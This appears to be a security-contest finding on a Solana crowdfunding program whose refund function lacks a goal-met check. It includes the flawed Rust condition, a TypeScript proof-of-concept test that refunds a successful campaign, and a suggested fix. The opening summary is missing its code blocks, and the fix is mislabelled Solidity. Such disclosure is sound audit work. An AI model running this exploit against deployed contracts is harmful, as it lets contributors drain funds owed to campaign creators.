In a crowdfunding protocol, a contributor should be able to refund only when the campaign has failed — that is, the deadline has passed and the goal was not met. RustFund's refund does not enforce the failure condition. Its only guard is a single check that the deadline is set and still in the future:
This condition is inadequate because it never checks whether the goal was reached. Once the deadline has passed, refund is allowed regardless of campaign outcome.
Likelihood: Medium
Reached on the ordinary post-deadline path. Any contributor can call refund for their own contribution once the deadline has passed.
Impact: High
Because there is no goal check, a contributor can refund even when the campaign succeeded (goal met). Funds the creator is entitled to can be pulled back out by contributors after the deadline, breaking the all-or-nothing crowdfunding guarantee. Refund eligibility is not coupled to campaign failure at all.
The refund is permitted on a successful, past-deadline campaign, which correct refund conditions must reject.
Allow a refund only when the campaign has genuinely failed (deadline set, passed, and goal not met):
## Description the refund mechanism only verifies that the current time has passed the campaign deadline, without checking whether the campaign has failed to meet its funding goal.This oversight may result in refunds being issued even if the campaign was, in principle, successful, potentially undermining the trust and financial integrity of the platform.   ## Vulnerability Details The refund function in the contract is designed to return funds to contributors if a campaign fails. However, it only checks whether the campaign deadline has been reached (or passed) before allowing a refund, without verifying if the campaign's funding goal was met. In other words, the function solely relies on a time-based condition and does not incorporate the additional logic required to determine if a campaign has been unsuccessful. **Code Analysis:**\ The refund function contains the following check: ```Rust if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() { return Err(ErrorCode::DeadlineNotReached.into()); } ``` This condition ensures that refunds are only triggered after the deadline has passed. However, there is no subsequent verification that compares `fund.amount_raised` to the `fund.goal` to determine whether the campaign failed to meet its funding target. As a result, even if the campaign has met or exceeded its goal, contributors could potentially request refunds simply because the deadline has passed. ## proof Of Concept ```typescript it("Allows refund on a successful campaign due to missing goal check", async () => { // Define campaign parameters with a near-future deadline (5 seconds from now) const fundName = "refund flaw"; const description = "Test for refund vulnerability on a successful campaign"; const goal = new anchor.BN(1000000000); // 1 SOL goal // Set deadline to 5 seconds from now const deadline = new anchor.BN(Math.floor(Date.now() / 1000) + 5); // Generate PDA for the fund using the campaign name and creator's public key let [fundPDA, fundBump] = await PublicKey.findProgramAddress( [Buffer.from(fundName), creator.publicKey.toBuffer()], program.programId ); // Create the fund campaign await program.methods .fundCreate(fundName, description, goal) .accounts({ fund: fundPDA, creator: creator.publicKey, systemProgram: anchor.web3.SystemProgram.programId, }) .rpc(); // Set the campaign deadline await program.methods .setDeadline(deadline) .accounts({ fund: fundPDA, creator: creator.publicKey, }) .rpc(); // Airdrop lamports to otherUser so they can contribute const airdropSig = await provider.connection.requestAirdrop( otherUser.publicKey, 2 * anchor.web3.LAMPORTS_PER_SOL // e.g., 2 SOL ); await provider.connection.confirmTransaction(airdropSig); // Generate PDA for the contribution account using fund's PDA and otherUser's public key let [contributionPDA, contributionBump] = await PublicKey.findProgramAddress( [fundPDA.toBuffer(), otherUser.publicKey.toBuffer()], program.programId ); // otherUser contributes 1 SOL, meeting the campaign goal const contributionAmount = new anchor.BN(1000000000); // 1 SOL await program.methods .contribute(contributionAmount) .accounts({ fund: fundPDA, contributor: otherUser.publicKey, contribution: contributionPDA, systemProgram: anchor.web3.SystemProgram.programId, }) .signers([otherUser]) .rpc(); // Verify the campaign is successful by checking that amountRaised >= goal let fundBeforeDeadline = await program.account.fund.fetch(fundPDA); expect(fundBeforeDeadline.amountRaised.gte(goal)).to.be.true; // Wait until after the deadline has passed await new Promise((resolve) => setTimeout(resolve, 6000)); // otherUser calls refund despite the campaign being successful // (a correct implementation should disallow this refund) let refundTxSucceeded = true; try { await program.methods .refund() .accounts({ fund: fundPDA, contribution: contributionPDA, contributor: otherUser.publicKey, systemProgram: anchor.web3.SystemProgram.programId, }) .signers([otherUser]) .rpc(); } catch (err) { refundTxSucceeded = false; } // The vulnerability: refund call is erroneously allowed even though the campaign met its goal. expect(refundTxSucceeded).to.be.true; // check the contributor's balance change to further demonstrate the refund was processed. const balanceAfterRefund = await provider.connection.getBalance( otherUser.publicKey ); console.log("Contributor balance after refund:", balanceAfterRefund); }); ``` ## Impact - **Financial Discrepancies:**\ The improper refund mechanism result in successful campaigns losing funds that were meant to be retained by the campaign creator, leading to financial imbalances within the contract. - **Erosion of Trust:**\ Contributors and creators rely on the refund logic to be fair and accurate. The absence of a funding goal check in the refund function erode trust in the platform, as users could experience unexpected fund reversals or disputes over campaign success. - **Operational Risks:**\ Campaigns that meet their funding goals still be subject to refund requests, creating operational inefficiencies and potential disputes between creators and contributors. This undermines the intended crowdfunding model and could deter future participation.   ## Recommendations Update the refund function to include a check that verifies whether the campaign's funding goal has been met. Refunds should only be processed if both the deadline has passed and the `amount_raised` is below the `goal`.    ```Solidity if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() { return Err(ErrorCode::DeadlineNotReached.into()); } if ctx.accounts.fund.amount_raised >= ctx.accounts.fund.goal { return Err(ErrorCode::CampaignSuccessful.into()); } ```
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.